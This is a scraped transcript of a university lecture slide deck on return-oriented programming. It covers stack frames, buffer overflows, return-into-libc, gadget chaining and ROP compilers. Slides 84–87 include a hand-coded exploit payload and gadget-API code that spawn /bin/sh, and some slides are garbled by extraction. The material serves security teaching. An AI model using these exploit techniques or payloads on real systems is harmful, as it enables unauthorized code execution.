Presentation is loading. Please wait.

Presentation is loading. Please wait.

Return Oriented Programming

Similar presentations


Presentation on theme: "Return Oriented Programming"— Presentation transcript:

1 Return Oriented Programming
Dr. Jason R. Lewis Assistant Professor of Computer & Computational Science University of the Virgin Islands

2 Disclaimers Any products mentioned are for illustrative purposes and does not constitute an endorsement; I have no financial interest n any of the firms. I have “stolen” a lot of content from the following sources: Wikipedia, “Smashing The Stack For Fun And Profit” by Aleph One, and “The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)” by Hovav Shacham “Return-oriented Programming: Exploitation without Code Injection” by Erik Buchanan, et al.

3 Introduction Return-Oriented Programming (ROP): a security exploit that has been around for a long time. Used to execute code when security measures such as non-executable memory or code signing are employed. Used to hijack the program control-flow in order to execute “gadgets”.

4 Brief History of Memory Corruption
Morris Worm (November 1988) Exploited a stack buffer overflow in BSD on VAX. Payload issued execve(“/bin/sh”,o,o) system call directly. Thomas Lopatic publishes remote stack buffer overflow exploit against NCSA HTTPD for HP-PA (February 1995). “Smashing the Stack for Fun and Profit” by Aleph One published in Phrack49 (August 1996). Researchers find an exploit stack buffer overflows in a variety of Unix software throughout the late 90’s. Many security experts thought (incorrectly) that stack buffer overflows were the only exploitable problem.

5 “JPEG COM Marker Processing Vulnerability in Netscape Browsers” by Solar Designer (July 2000).
Demonstrates exploitation of heap buffer overflows by overwriting heap free block next/previous linked list pointers. Apache/IIS Chunked-Encoding Vulnerabilities demonstrate exploitation of integer overflow vulnerabilities. Integer overflow => stack of heap memory corruption. In early 2000’s worm authors took published exploits and unleashed worms that caused widespread damage. Exploited stack buffer overflow vulnerabilities in Microsoft operating systems. Results in Bill Gates’ “Trustworthy Computing” memo. Microsoft’s Secure Development Lifecycle (SDL) combines secure coding, auditing, and exploit mitigation.

6 Exploit Mitigation Patching every security vulnerability and writing 100% bug-free code is impossible. Exploit mitigations acknowledge this and attempt to make exploitation of remaining vulnerabilities impossible or at least more difficult. Windows XP SP2 was the first widespread OS to incorporate exploit mitigations. Protected stack metadata. Protected heap metadata. SafeSEH (compile-time exception handler registration). Software, Hardware-enforced Data Execution Prevention (DEP). Windows Vista implements Address Space Layout Randomization (ASLR). Invented by and first implemented by PaX project for Linux.

7 Stack Smashing ROP is an extension of (advanced version of) “Stack Smashing”. Stack Smashing is an idea that came out of “Alpha One’s” ground breaking paper: Smashing The Stack For Fun And Profit In order to understand ROP, we must have a good foundation in Stack Smashing.

8 Processes and Memory Organization
How are Processes Organized Graphical Representation of an Process (Object) File Each process is divided into three regions: Text, Data, and Stack. Text region: Fixed by the program. Includes code (instructions) and read-only data. Corresponds to the text section of the executable file. This region is normally marked read-only and any attempt to write to it will result in a segmentation violation. Data region: Its size can be changed. Contains initialized and uninitialized data. Static variables. RAM lower memory address Text Data higher memory address Stack

9 What is a Stack? Abstract data type. Properties: Operations: LIFO.
All entries are of the same type. Operations: POP PUSH

10 Why Do We Use A Stack? Modern computers are designed with the need of high-level languages in mind. The function (procedure call) is one of the most important features of high-level languages. Function call  alter the control flow. When finished, a function returns control to the statement or instruction following the call. Implemented with the help of the stack. The stack is also used to dynamically allocate the local variables used in functions, to pass parameters to the functions, and to return values from the function.

11 The Stack Contiguous block of memory
Stack pointer (SP): A register that holds the address of the top of the stack. The bottom of the stack is at a fixed address. Stack size dynamically adjusted by the kernel at run time. The CPU implements instructions to PUSH onto and POP off of the stack.

12 Stack contains logical stack frames (SF):
SF is pushed onto stack when a function is called, SF is popped off of stack when function returns to caller. A stack frame contains the function’s: Parameters, Local variables, and Data that is necessary to recover the previous stack frame, including the value of the instruction pointer (IP) at the time of the function call.

13 Stack grows either grow down (towards lower memory addresses), or up.
We'll use a stack that grows down. Why? The way it works on Intel, Motorola, SPARC and MIPS processors. Stack pointer (SP) is implementation dependent. It may point to the last address on the stack, or to the next free available address after the stack. For our discussion we'll assume it points to the last address on the stack.

14 Recall, SP points to the top of the stack (lowest numerical address).
SP = smallest address x such that any address smaller than x is considered garbage, and any address greater than or equal to x is considered valid. Ideally, local variables should as an offsets from the SP. This has many problems: As frames are pushed onto the stack and popped from the stack, these offsets change. Some cases compiler can keep correct the offsets. Considerable administration is required for this correction. Some machines (Intel-based processors) accessing a variable at a known distance from SP requires multiple instructions. We also have a second register that holds the address of a fixed location within the a frame. It is called the. Solution: a second register called a Frame Pointer (FP): Used to reference both local variables and parameters. A variable’s distances from FP does not change with PUSHes and POPs.

15 How does the Stack Work wrt a Function Call
Push the function parameters/arguments unto the stack. Push the current IP to the stack (the point in code that you are “jumping” from), labeled as RET. Function Prolog: Push the current FP (EBP) onto the stack. Copy the current SP into the new FP (so it can be restored at procedure exit) using a register EBP, Advances SP to reserve space for the local variables. Function Epilog: Restore the saved FP and SP, and then start executing on after the call.

16 Example Source Code Stack void DrawSquare(double length) { int num1;
drawLine(length); return(); } void DrawLine(double length) Top of Stack 0x00 0x04 0x08 0x0c 0x14 SP = 0x14 Local Variables num1 0x18 num2 0x1c FP = 0x1c SFP something 0x20 RET IP 0x24 Parameter length 0x2c Bottom of Stack

17 Source Code Stack void DrawSquare(double length) { int num1; int num2;
drawLine(length); return(); } void DrawLine(double length) Top of Stack 0x00 SP = 0x00 Loc. Var. num1 0x04 SFP 0x1c 0x08 RET Line 6 of Text 0x0c Parameter length 0x14 FP = 0x14 Draw-Square’s Frame Record 0x18 num2 something 0x20 inMain 0x24 0x2c Bottom of Stack

18 Review of Arrays What does: int num[15]; do?
What am I doing by going: num[5] = 35; Will this run? num[35] = 2; Do arrays have bounds checking?

19 Review of Strings What is a String, in its most basic terms?
What is a c-String? What is: char str[15]; How many valid characters can my string str hold? What is: char * str;

20 Where Does the Code Start?
Source Code void function (int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() function(1,2,3); return(0);

21 What Does the Stack Look Like After Main?
Source Code Stack void function (int a, int b, int c) { char buffer1[5]; char buffer2[5]; } void main() function(1,2,3); return(0); Top of Stack 0x00 0x04 0x08 0x0c 0x0f 0x14 0x18 0x1c 0x20 0x24 0x28 0x2c Bottom of Stack I’m Here

22 What Does the Stack Look Like After Main?
Source Code Stack void function (int a, int b, int c) { char buffer1[5]; char buffer2[5]; } void main() function(1,2,3); return(0); Top of Stack 0x00 0x04 0x08 0x0c 0x0f 0x14 0x18 0x1c 0x20 0x24 SP=FP=x24 SFP 0x2c 0x28 RET NULL Bottom of Stack I’m Here

23 What Happens When I Move to Line 9?
Source Code Stack void function (int a, int b, int c) { char buffer1[5]; char buffer2[5]; } void main() function(1,2,3); return(0); Top of Stack 0x00 0x04 0x08 0x0c 0x0f 0x14 0x18 0x1c 0x20 0x24 SP=FP=x24 SFP 0x2c 0x28 RET NULL Bottom of Stack I’m Here

24 Push the Arguments Source Code Stack I’m Here void function (int a,
int b, int c) { char buffer1[5]; char buffer2[5]; } void main() function(1,2,3); return(0); Top of Stack 0x00 0x04 0x08 0x0c 0x0f 0x14 0x18 0x1c 0x20 Parameter 3 0x24 SP=FP=x24 main 0x2c 0x28 NULL Bottom of Stack I’m Here

25 Push the Arguments Source Code Stack I’m Here void function (int a,
int b, int c) { char buffer1[5]; char buffer2[5]; } void main() function(1,2,3); return(0); Top of Stack 0x00 0x04 0x08 0x0c 0x0f 0x14 0x18 0x1c Parameter 2 0x20 3 0x24 SP=FP=x24 main 0x2c 0x28 NULL Bottom of Stack I’m Here

26 Push the Arguments Source Code Stack I’m Here void function (int a,
int b, int c) { char buffer1[5]; char buffer2[5]; } void main() function(1,2,3); return(0); Top of Stack 0x00 0x04 0x08 0x0c 0x0f 0x14 0x18 Parameter 1 0x1c 2 0x20 3 0x24 SP=FP=x24 main 0x2c 0x28 NULL Bottom of Stack I’m Here

27 Save the Return Address
Source Code Stack void function (int a, int b, int c) { char buffer1[5]; char buffer2[5]; } void main() function(1,2,3); return(0); Top of Stack 0x00 0x04 0x08 0x0c 0x0f 0x14 RET Line 10 of TEXT 0x18 Parameter 1 0x1c 2 0x20 3 0x24 SP=FP=x24 main 0x2c 0x28 NULL Bottom of Stack I’m Here

28 Copy Current SP to FP, then Move the SP
Source Code Stack void function (int a, int b, int c) { char buffer1[5]; char buffer2[5]; } void main() function(1,2,3); return(0); Top of Stack 0x00 0x04 0x08 0x0c 0x0f SP = 0x0f SFP 0x24 0x14 RET Line 10 of TEXT 0x18 FP = 0x1c Parameter 1 0x1c 2 0x20 3 main 0x2c 0x28 NULL Bottom of Stack I’m Here

29 Copy Current SP to FP, then Move the SP
Source Code Stack void function (int a, int b, int c) { char buffer1[5]; char buffer2[5]; } void main() function(1,2,3); return(0); Top of Stack 0x00 0x04 0x08 0x0c 0x0f SP = 0x0f SFP 0x24 0x14 RET Line 10 of TEXT 0x18 FP = 0x1c Parameter 1 0x1c 2 0x20 3 main 0x2c 0x28 NULL Bottom of Stack I’m Here

30 Create Local Variables, How Much Space?
Source Code Stack void function (int a, int b, int c) { char buffer1[5]; char buffer2[5]; } void main() function(1,2,3); return(0); Top of Stack 0x00 0x04 0x08 0x0c 0x0f SP = 0x0f SFP 0x24 0x14 RET Line 10 of TEXT 0x18 FP = 0x1c Parameter 1 0x1c 2 0x20 3 main 0x2c 0x28 NULL Bottom of Stack I’m Here

31 Create Local Variables
Source Code Stack void function (int a, int b, int c) { char buffer1[5]; char buffer2[5]; } void main() function(1,2,3); return(0); Top of Stack 0x00 0x04 0x08 SP = 0x08 Local Variables buffer1 0x0c 0x0f SFP 0x24 0x14 RET Line 10 of TEXT 0x18 FP = 0x1c Parameter 1 0x1c 2 0x20 3 main 0x2c 0x28 NULL Bottom of Stack I’m Here

32 Create Local Variables
Source Code Stack void function (int a, int b, int c) { char buffer1[5]; char buffer2[5]; } void main() function(1,2,3); return(0); Top of Stack 0x00 SP = 0x00 Local Variables buffer2 0x04 0x08 buffer1 0x0c 0x0f SFP 0x24 0x14 RET Line 10 of TEXT 0x18 FP = 0x1c Parameter 1 0x1c 2 0x20 3 main 0x2c 0x28 NULL Bottom of Stack I’m Here

33 Source Code to Assembly
Assembly Instructions void function (int a, int b, int c) { char buffer1[5]; char buffer2[5]; } void main() function(1,2,3); return(0); gcc -S -o example1.s example1.cpp line 9 is converted to: pushl $3 pushl $2 pushl $1 call function Function Prolog pushl %ebp movl %esp, %ebp subl $16, %esp Enter the function (line 3) I’m Here

34 Now What? So, what is the point of all of this?
What happens when I tie the knowledge of how the stack works with the knowledge of how arrays work? This is the classic buffer-overflow attack!

35 How is This Technique Useful?
Source Code Stack void function(char *str) { char buffer[16]; strcpy(buffer,str); } int main() char large_string[256]; int i; for( i = 0; i < 255; i++) large_string[i] = 'A'; function(large_string); return 0; Top of Stack 0x00 SP = 0x00 0x2DC SP = 0x2DC Loc. Var. buffer[16] 0x2EC FP = 0x2EC SFP 0x3F8 0x2F0 RET Line 12 of TEXT 0x2F4 Main i [4B] 0x2F8 large_string[256] 0x2c 0x3FC NULL 0x400 Bottom of Stack

36 What about Modifying the Return Address
Source Code Stack – main to line 12 void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 10; } int main() int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); return 0; BS 64 60 56 52 48 44 40 36 RET SFP FP x 32 28 24 20 16 12 8 4 TS I’m Here

37 Source Code Stack – main to line 12 I’m Here
void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 10; } int main() int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); return 0; BS 64 60 56 52 48 44 40 36 RET SFP Parameter NUL 3 2 1 L14 x 32 28 24 20 16 12 8 4 TS I’m Here

38 Source Code Stack – main to line 12 I’m Here
void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 10; } int main() int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); return 0; BS 64 60 56 52 48 44 40 36 RET SFP Parameter NUL 3 2 1 L14 x 32 28 24 20 16 12 8 4 TS FP SP Buffer[5] I’m Here

39 Source Code Stack – main to line 12 I’m Here
void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 10; } int main() int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); return 0; BS 64 60 56 52 48 44 40 36 RET SFP Parameter NUL 3 2 1 L14 x 32 28 24 20 16 12 8 4 TS FP SP Buffer1[5] Buffer2[10] I’m Here

40 Source Code Stack – main to line 12 I’m Here
void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 10; } int main() int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); return 0; BS 64 60 56 52 48 44 40 36 RET SFP Parameter NUL 3 2 1 L14 x 32 28 24 20 16 12 8 4 TS FP SP Buffer1[5] Buffer2[10] ret I’m Here

41 Source Code Stack – main to line 12 I’m Here
void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 10; } int main() int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); return 0; BS 64 60 56 52 48 44 40 36 RET SFP Parameter NUL 3 2 1 L14 x 32 28 24 20 16 12 8 4 TS FP SP 24+12 Buffer1[5] Buffer2[10] ret I’m Here

42 Source Code Stack – main to line 12 I’m Here
void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 10; } int main() int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); return 0; BS 64 60 56 52 48 44 40 36 RET SFP Parameter NUL 3 2 1 L14 66 x 32 28 24 20 16 12 8 4 TS FP SP Buffer1[5] Buffer2[10] ret I’m Here

43 Where Do I Go? Source Code Stack – main to line 12 I’m Here
void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 10; } int main() int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); return 0; BS 64 60 56 52 48 44 40 36 RET SFP Parameter NUL 3 2 1 L14 66 x 32 28 24 20 16 12 8 4 TS FP SP Buffer1[5] Buffer2[10] ret I’m Here

44 What Did I Just Do???? Source Code Stack – main to line 12 I’m Here
void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 10; } int main() int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); return 0; BS 64 60 56 52 48 44 40 36 RET SFP Parameter NUL 3 2 1 L14 66 x 32 28 24 20 16 12 8 4 TS FP SP Buffer1[5] Buffer2[10] ret I’m Here

45 Classic “Shell Code” Attack
How can we get the system to run our code? How about placing our “bad” code in the stack earlier on, then overwriting the return address to execute this “bad” code? Now we can get the host system to execute “bad” code just by taking overwriting the stack

46 How to Defend Against This Attack?
What are we doing with this attack? We are executing code that is in writable memory. Where is the executable code supposed to be? Industry response to code injection exploits: Marks all writeable locations in a process’ address space as nonexecutable. Deployment: Linux (via PaX patches); OpenBSD; Windows (since XP SP2); OS X (since 10.5). Hardware support: Intel “XD” bit, AMD “NX” bit (and many RISC processors). This is the W^X (Write XOR eXecute)

47 With Every New Security Feature …
As we progress with new security features, the hackers are finding “work arounds”. What if there was a way to do the same attack, but not have to “bring” our own functions to the party? Where can I find a large library of useful functions that I can exploit? This is the Return-into-libc Attack

48 Return-into-libc What is libc?
libc is the C library; basically, it contains all of the system functions that most (if not all) programs need to run on Linux. Divert control flow of exploited program into libc code system(), printf(), … No code injection required Perception of return-into-libc: limited, easy to defeat Attacker cannot execute arbitrary code Attacker relies on contents of libc – remove system()? This perception is false.

49 Return-to-libc: An attack against non-executable memory segments (DEP, W^X, etc). Instead of overwriting return address to return into shellcode, return into a loaded library to simulate a function call. Data from attacker’s controlled buffer stack are used as the function’s arguments. Example: system(cmd);

50 Return Chaining Stack unwinds upward.
Can be used to call multiple functions in succession. First function must return into code to advance stack pointer over function arguments. i.e. pop-pop-ret Assuming cdecl and 2 arguments. Argument 2 Argument 1 &(pop-pop-ret) Function 2 Function 1 Stack Growth

51 0043a82f: Argument 2 Argument 1 &(pop-pop-ret) ret Function 2 …
0x780da4dc Stack Growth

52 780da4dc: Argument 2 Argument 1 &(pop-pop-ret) push ebp Function 2
mov ebp, esp sub esp, 0x100 mov eax, [ebp+8] ... leave ret Argument 2 Argument 1 &(pop-pop-ret) Function 2 saved ebp Stack Growth

53 780da4dc: Argument 2 Argument 1 &(pop-pop-ret) push ebp Function 2
mov ebp, esp sub esp, 0x100 mov eax, [ebp+8] ... leave ret Argument 2 Argument 1 &(pop-pop-ret) Function 2 ebp Stack Growth

54 780da4dc: Argument 2 Argument 1 &(pop-pop-ret) push ebd Function 2
mov ebp, esp sub esp, 0x100 mov eax, [ebp+8] ... leave ret Argument 2 Argument 1 &(pop-pop-ret) Function 2 ebp Stack Growth

55 780da4dc: Argument 2 Argument 1 &(pop-pop-ret) push ebd Function 2
mov ebp, esp sub esp, 0x100 mov eax, [ebp+8] ... leave ret Argument 2 Argument 1 &(pop-pop-ret) Function 2 ebp Stack Growth

56 6842e84f: Argument 2 Argument 1 &(pop-pop-ret) pop edi Function 2
pop ebp ret Argument 2 Argument 1 &(pop-pop-ret) Function 2 ebp Stack Growth

57 6842e84f: Argument 2 Argument 1 &(pop-pop-ret) pop edi Function 2
pop ebp ret Argument 2 Argument 1 &(pop-pop-ret) Function 2 ebp Stack Growth

58 XP SP3, Vista SP1, and Windows 7 responded with “Permanent DEP”
Return-to-libc and return chaining are enough to disable DEP on XP SP2 and Vista. NtSetInformationPrecess(-1,34,&2,4) WriteProcessMemory() Self-Patch Technique XP SP3, Vista SP1, and Windows 7 responded with “Permanent DEP” SetProcessDEPPolicy(PROCESS_DEP_ENABLE) This required attackers to “up their game”

59 Return-oriented Programming
Instead of returning to functions, return to instruction sequences followed by a return instruction. Can return into the middle of existing instructions to simulate different instructions. All we need are useable byte sequences anywhere in executable memory pages.

60 Some words will be suffixes of other words:
“Intel x86 code is like English written without punctuation or spaces, so that the words all run together.” What does this imply? Processor knows where to start reading, and thus it able to recover the individual words and make out the sentence. But we can make out more words on the page than were intentionally placed there. How? Some words will be suffixes of other words: “dress” is a suffix of “address”. Others will consist of the end of one word and the beginning of the next: “head” can be found in “the address”

61 Gadgets!!! Various instruction sequences can be combined to form gadgets. Gadgets perform higher-level actions: Write specific 32-bit value to specific memory location. Add/sub/and/or/xor value at memory location with immediate value. Call function in shared library.

62 Example Gadget pop eax ret + pop ecx ret + mov [ecx], eax, ret = STORE IMMEDIATE VALUE

63 Return-Oriented Write4 Gadget
684a0f4e: pop eax ret 684a2367: pop ecx 684a123a: mov [ecx], eax 0x684a123a 0xfeedface 0x684a2367 0xdeadbeef 0x684a0f4e Stack Growth

64 Return-Oriented Write4 Gadget
684a0f4e: pop eax ret 684a2367: pop ecx 684a123a: mov [ecx], eax 0x684a123a 0xfeedface 0x684a2367 0xdeadbeef 0x684a0f4e Stack Growth

65 Return-Oriented Write4 Gadget
684a0f4e: pop eax ret 684a2367: pop ecx 684a123a: mov [ecx], eax 0x684a123a 0xfeedface 0x684a2367 0xdeadbeef 0x684a0f4e Stack Growth

66 Return-Oriented Write4 Gadget
684a0f4e: pop eax ret 684a2367: pop ecx 684a123a: mov [ecx], eax 0x684a123a 0xfeedface 0x684a2367 0xdeadbeef 0x684a0f4e Stack Growth

67 Return-Oriented Write4 Gadget
684a0f4e: pop eax ret 684a2367: pop ecx 684a123a: mov [ecx], eax 0x684a123a 0xfeedface 0x684a2367 0xdeadbeef 0x684a0f4e Stack Growth

68 Return-Oriented Write4 Gadget
684a0f4e: pop eax ret 684a2367: pop ecx 684a123a: mov [ecx], eax 0x684a123a 0xfeedface 0x684a2367 0xdeadbeef 0x684a0f4e Stack Growth

69 Return-Oriented Write4 Gadget
684a0f4e: pop eax ret 684a2367: pop ecx 684a123a: mov [ecx], eax 0x684a123a 0xfeedface 0x684a2367 0xdeadbeef 0x684a0f4e Stack Growth

70 The Return-oriented programming thesis: return-into-libc special case
attacker control of stack arbitrary attacker computation and behavior via return-into-libc techniques (given any sufficiently large codebase to draw on)

71 Gives Turing-complete exploit language
exploits aren’t straight-line limited Calls no functions at all can’t be defanged by removing functions like system() On the x86, uses “found” insn sequences, not code intentionally placed in libc difficult to defeat with compiler/assembler changes

72 Return-oriented programming
… again: mov i(s), ch cmp ch, ‘|’ jeq pipe connect back to attacker while socket not eof read line fork, exec named progs … decr i jnz again stack: libc: load decr ? jnz cmp ? jeq

73 Mounting the Attack Need control of memory around %esp Rewrite stack:
Buffer overflow on stack Format string vuln to rewrite stack contents Move stack: Overwrite saved frame pointer on stack; on leave/ret, move %esp to area under attacker control Overflow function pointer to a register spring for %esp: set or modify %esp from an attacker-controlled register then return

74 Ordinary programming: the machine level
Instruction pointer (%eip) determines which instruction to fetch & execute Once processor has executed the instruction, it automatically increments %eip to next instruction Control flow by changing value of %eip insn IP

75 Return-oriented programming: the machine level
insns … ret insns … ret C library insns … ret insns … ret insns … ret stack pointer   Stack pointer (%esp) determines which instruction sequence to fetch & execute   Processor doesn’t automatically increment %esp; — but the “ret” at end of each instruction sequence does

76 No-ops C library  No-op instruction does nothing but advance %eip
ret nop nop nop instruction pointer stack pointer   No-op instruction does nothing but advance %eip   Return-oriented equivalent:   point to return instruction   advances %esp   Useful in nop sled

77  Instructions can encode constants  Return-oriented equivalent:
pop %ebx; ret mov $0xdeadbeef, %eax (bb ef be ad de) 0xdeadbeef instruction pointer stack pointer   Instructions can encode constants   Return-oriented equivalent:   Store on the stack;   Pop into register to use

78 Control flow  Ordinary programming:  Return-oriented equivalent:
pop %esp; ret jmp +4 instruction pointer stack pointer   Ordinary programming:   (Conditionally) set %eip to new value   Return-oriented equivalent:   (Conditionally) set %esp to new value

79 Gadgets: multiple instruction sequences
mov (%eax), %ebx; ret pop %eax; ret (word to load) stack pointer   Sometimes more than one instruction sequence needed to encode logical unit   Example: load from memory into register:   Load address of source word into %eax   Load memory at (%eax) into %ebx

80 Finding instruction sequences
Any instruction sequence ending in “ret” is useful – could be part of a gadget Algorithmic problem: recover all sequences of valid instructions from libc that end in a “ret” insn Idea: at each ret (c3 byte) look back: are preceding i bytes a valid length-i insn? recurse from found instructions Collect instruction sequences in a trie

81 Gadget operations implemented
  Memory   v1 = &v2   v1 = *v2   *v1 = v2   Assignment   v1 = Value   v1 = v2   Function Calls   call Function   System Calls   call syscall with arguments   Math   v1++   v1--   v1 = -v2   v1 = v2 + v3   v1 = v2 - v3   Logic   v1 = v2 & v3   v1 = v2 | v3   v1 = ~v2   v1 = v2 << v3   v1 = v2 >> v3   Control Flow   BA: jump T1   BE: if (v1 == v2):   jump T1,   else T2   BLE: if (v1 <= v2):   jump T1,   else T2   BGE: if (v1 >= v2):   jump T1,   else T2

82 Gadget: Addition  v1 = v2 + v3 Inst. Seq. Preset Assembly %l7 = &%i0
ld [%i0], %l6 m[&%i0] v2 %i0 (+2 Frames ) &v2 st %l6, [%l7] ret restore &%i3 m[&%i3] v3 (+1 Frame ) &v3 v2 (stored ) add %i0, %i3, %i5 v1 = v2 + %i3 %i4 v3 (stored ) &v1 st %i5, [%i4] ret

83 Gadget: Branch Equal if (v1 == v2): else: jump T1 jump T2 Inst. Seq.
Preset Assembly m[&%i0] = v1 %l7 %i0 = &%i0 (+2 Frames ) &v1 ld [%i0], %l6 st %l6, [%l7] ret restore m[&%i2] = v2 &%i2 (+1 Frame ) &v2 (v1 == v2) %i2 v1 (stored ) v2 (stored ) cmp %i0, %i2 ret if (v1 == v2): T2 (NOT EQ) be,a 1 ahead %i0 = T1 %l0 T1 (EQ) - 1 sub %l0,%l2,%i0 else: %l2 -1 %i0 = T2 m[&%i6] = %o0 %i3 &%i6 (+1 Frame ) st %o0, [%i3] ret restore jump T1 or T2 %i6 T1 or T2 (stored ) if (v1 == v2): jump T1 else: jump T2

84 Option 1: Write your own  Hand-coded gadget layout
/sh\0 /bin linux-x86% ./target `perl -e ‘print “A”x68, pack("c*”, 0x3e,0x78,0x03,0x03,0x07, 0x7f,0x02,0x03,0x0b,0x0b, 0x0b,0x0b,0x18,0xff,0xff, 0x4f,0x30,0x7f,0x02,0x03, 0x4f,0x37,0x05,0x03,0xbd, 0xad,0x06,0x03,0x34,0xff, 0xff,0x4f,0x07,0x7f,0x02, 0x03,0x2c,0xff,0xff,0x4f, 0x30,0xff,0xff,0x4f,0x55, 0xd7,0x08,0x03,0x34,0xff, 0xff,0x4f,0xad,0xfb,0xca, 0xde,0x2f,0x62,0x69,0x6e, 0x2f,0x73,0x68,0x0)'` sh-3.1$ (word to zero) + 24 lcall %gs:0x10(,0) ret pop %ecx pop %edx ret pop %ebx ret add %ch, %al ret movl %eax, 24(%edx) ret 0x0b0b0b0b pop %ecx pop %edx ret xor %eax, %eax ret %esp

85 Option 2: Gadget API declarations */ assignments (SYS_execve = 59)*/
/* Gadget variable declarations */ = g_create_var(&prog, g_var_t g_var_t g_var_t g_var_t g_var_t g_var_t *num *arg0a *arg0b *arg0Ptr *arg1Ptr *argvPtr "num"); "arg0a"); "arg0b"); "arg0Ptr"); "arg1Ptr"); "argvPtr"); /* Gadget variable assignments (SYS_execve = 59)*/ g_assign_const(&prog, g_assign_const(&prog, g_assign_const(&prog, g_assign_addr( &prog, num, arg0a, arg0b, arg0Ptr, 59); strToBytes("/bin")); strToBytes("/sh")); arg0a); arg1Ptr, 0x0); /* Null */ g_assign_addr( &prog, /* Trap to execve */ argvPtr, arg0Ptr); g_syscall(&prog, num, arg0Ptr, argvPtr, arg1Ptr, NULL, NULL, NULL);

86 Gadget API compiler (7 gadgets, 20 sequences 336 byte overflow
  Describe program to attack: char *vulnApp = "./demo-vuln"; /* Exec name of vulnerable app. /* Create and Initialize Program *************************************** */ init(&prog, (uint32_t) argv[0], vulnApp, vulnOffset, numVars, numSeqs);   Compiler creates program to exploit vuln app   Overflow in argv[1]; return-oriented payload in env   Compiler avoids NUL bytes */ int vulnOffset numVars = 336; 50; /* Offset to /* Estimate: %i7 in Number overflowed frame. of gadget variables */ numSeqs 100; of inst. seq's (packed) (7 gadgets, 20 sequences 336 byte overflow 1280 byte payload) # ./exploit $

87 Option 3: Return-oriented compiler
  Gives high-level interface to gadget API   Same shellcode as before: var arg0 = "/bin/sh"; arg0Ptr &arg0; arg1Ptr 0; trap(59, &arg0, &(arg0Ptr), NULL);

88 Return-oriented selection sort — I
var i, j, tmp, len = var* min, p1, p2, a; 10; // Pointers srandom(time(0)); // Seed random() // a[10] a = malloc(40); p1 = a; printf(&("Unsorted Array:\n")); for (i = 0; i < len; ++i) { // *p1 Initialize to small random values = random() & 511; printf(&("%d, "), *p1); p1 = p1 + 4; // p1++ }

89 Return-oriented selection sort — II
p1 = a; for (i = 0; i < (len min = p1; p2 - 1); ++i) { = p1 + 4; for (j = (i + 1); j < len; ++j) { if (*p2 < *min) { p2; } p2 = p2 + 4; // min = p2++ } // Swap p1 <-> min tmp = *p1; *p1 = *min; *min // p1++ = tmp; p1 = p1 + 4; }

90 Return-oriented selection sort — III
p1 = a; printf(&("\n\nSorted Array:\n")); for (i = 0; i < len; ++i) { printf(&("%d, "), *p1); p1 = p1 + 4; // } printf(&("\n")); free(a); p1++ // Free Memory

91 Selection sort — compiler output
  24 KB payload: 152 gadgets, 381 instruction sequences   No code injection! # ./SelectionSort Unsorted Array: 486, 491, 37, 5, 166, 330, 103, 138, 233, 169, Sorted Array: 5, 37, 103, 138, 166, 169, 233, 330, 486, 491,


Download ppt "Return Oriented Programming"

Similar presentations


Ads by Google